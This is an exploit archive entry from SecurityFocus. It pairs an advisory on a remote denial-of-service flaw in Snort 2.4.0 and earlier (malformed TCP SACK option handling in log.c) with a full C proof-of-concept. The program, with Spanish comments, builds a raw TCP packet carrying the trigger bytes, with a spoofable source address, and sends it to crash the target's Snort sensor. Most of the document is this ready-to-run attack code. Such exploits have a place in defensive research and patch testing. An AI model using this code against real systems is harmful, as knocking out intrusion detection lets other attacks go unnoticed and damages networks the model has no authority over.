source: http://www.securityfocus.com/bid/14811/info

Snort is reported prone to a remote denial of service vulnerability. The vulnerability is reported to exist in the 'PrintTcpOptions()' function of 'log.c', and is a result of a failure to sufficiently handle malicious TCP packets.

A remote attacker may trigger this vulnerability to crash a remote Snort server and in doing so may prevent subsequent malicious attacks from being detected.

It should be noted that the vulnerable code path is only executed when Snort is run with the '-v' (verbose) flag. Due to the performance penalty of running the Snort application in verbose mode, it is likely that most production installations of the application are not vulnerable to this issue.

Update: Further messages have stated that other paths to the vulnerable code may be possible. Using the 'frag3' preprocessor, ASCII mode logging, the '-A fast' command-line option, and possibly other options may expose Snort to this vulnerability. Please see the referenced messages for further information. 

/*_------------------------------------------_
||------+ Snort <= 2.4.0 Trigger p0c +------||
||__________________________________________||
||--=[ nitrous [at] vulnfact [dot] com  ]=--||
||--=[      VulnFact Security Labs      ]=--||
||--=[           21 Ago 2oo5            ]=--||
||--=[              Mexico              ]=--||
||__________________________________________||
 -__________________________________________-

Snort <= 2.4.0 SACK TCP Option Error Handling
Este c?digo envia al  especificado un paquete TCP/IP con 4 bytes extras
correspondientes al campo TCP Options [TCP Header].
Estos 4 bytes son "\x05\x02\x00\x00". NOTA !!!: Snort solamente cae cuando se
esta corriendo en verbose mode (-v).

Esto solo funciona testeando de una maquina a otra directamente conectadas
(1 solo salto; Ej. En una red LAN de PC a PC). No funciona desde Internet,
por
que el campo TCP->th_sum es 0 (cero), por lo tanto, el primer Router por
donde
pase este paquete lo descartara por no tener una checksum valida.

RFC #1072 - TCP Extensions for Long-Delay Paths

3.2- TCP SACK Option:
     ...
     Kind: 5
     Length: Variable
     +--------+--------+--------+--------+--------+--------+
     | Kind=5 | Length | Relative Origin |   Block Size    |
     +--------+--------+--------+--------+--------+--------+

Analizando el packete con 'tcpdump' en OpenBSD 3.5 vemos:
11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S 213975407:213975407(0)
win 5840
<malformed sack [len 0] ,eol>
0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001  E..,??O..??..z....
0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422  ....r??.P.??.oC??."
0020: 6002 16d0 3caf 0000 0502 0000            `..??<??......

Testeado en:
[+] snort 2.4.0 @ OpenBSD 3.7 GENERIC // Yeah ;)
[+] snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.3.2 @ Debian Linux 3.1 "Sarge"
[+] snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.3.0 @ Red Hat Linux 9
[+] snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.0.0 @ OpenBSD 3.5 GENERIC

Saludos a vulnfact.com, CRAc, stacked, ran, dex, benn, beck, zlotan, Rowter,
Gus, Crypkey,
protoloco, Falckon, dymitri, #cum ppl, warlord/nologin.org por fuzzball2
fuzzer, gcarrillog,
JSS, y en especial a Mariit@ ( Sexy Colombiana ;) ). A la musica de "Sussie
4" ;)...
Federico L. Bossi Bonin
*/

#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<errno.h>
#include<netdb.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
//#define __USE_BSD     1       /* Use BSD's ip header style */
#include<netinet/ip.h>
#define __FAVOR_BSD     1       /* Use BSD's tcp header style */
#include<netinet/tcp.h>

#define IPSIZE  sizeof(struct ip)
#define TCPSIZE sizeof(struct tcphdr)
#define DEFAULT_SRC_IP  "200.31.33.70"

char trigger[] = "\x05\x02\x00\x00"; /* Malformed SACK TCP Option */

int usage(char *name)
{
        fprintf(stderr, "Usage: %s <target> [spoofed srcip]\n", name);
        fprintf(stderr, "\t\tDefault srcip = %s\n", DEFAULT_SRC_IP);

        return 0;
}

int main(int argc, char **argv)
{
        char *packet= (char *) malloc(IPSIZE + TCPSIZE + 4);
        char *srcip = DEFAULT_SRC_IP;
        int sockfd, count;
        int one = 1; /* setsockopt() */
        struct sockaddr_in target;
        struct hostent *host2ip;
        struct ip *IP = (struct ip *) packet;
        struct tcphdr *TCP = (struct tcphdr *) (packet + IPSIZE);

        if(argc < 2)
                return(usage(*argv));

        if(argc == 3)
                srcip = argv[2];

        if((host2ip = gethostbyname(argv[1])) == NULL){
                perror("gethostbyname");
                exit(-1);
        }

        if(getuid() != 0){
                fprintf(stderr, "Ups!, must be r00t to perform RAW
                sockets\n");
                exit(-1);
        }

        memset(packet, 0x00, sizeof(packet));

        memset(&target, 0x00, sizeof(target));
        target.sin_family       = AF_INET;
        target.sin_port         = htons(64876);
        target.sin_addr         = *((struct in_addr *)host2ip->h_addr);

        /*** BUILDING MALFORMED PACKET ***/
        IP->ip_hl       = 0x05;
        IP->ip_v        = 0x04;
        IP->ip_tos      = 0x00;
        IP->ip_len      = IPSIZE + TCPSIZE + 4;
        IP->ip_id       = 0x00;
        IP->ip_off      = 0x00;
        IP->ip_ttl      = 0xff;
        IP->ip_p        = IPPROTO_TCP;
        IP->ip_sum      = 0x00;
        IP->ip_src.s_addr = inet_addr(srcip);
        IP->ip_dst.s_addr = target.sin_addr.s_addr;

        TCP->th_sport   = htons(31337);
        TCP->th_dport   = target.sin_port;
        TCP->th_seq     = 0x00;
        TCP->th_ack     = 0x00;
        TCP->th_x2      = 0x00;
        TCP->th_off     = 0x06;
        TCP->th_flags   = 0x00; /* NO Syn ;) */
        TCP->th_win     = htons(0xffff);
        TCP->th_sum     = 0x00;
        TCP->th_urp     = 0x00;

        memcpy(packet + IPSIZE + TCPSIZE, trigger, 4);
        /*** END ***/

        if((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1){
                perror("socket");
                exit(-1);
        }

        if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) ==
        -1){
                perror("setsockopt");
                exit(-1);
        }

        printf("-=[ Snort <= 2.4.0 Trigger p0c\n");
        printf("-=[ By nitr0us <nitrous[at]vulnfact[dot]com>\n\n");
        printf("-=[ Sending Malformed TCP/IP Packet...\n");

        if((count = sendto(sockfd, packet, IP->ip_len, 0, (struct sockaddr
        *)&target, sizeof(target))) == -1){
                perror("sendto");
                close(sockfd);
                exit(-1);
        }

        printf("-=[ Sent %d bytes to %s\n", count, argv[1]);
        printf("-=[ Snort killed !\n");

        close(sockfd);
        return 0;
}
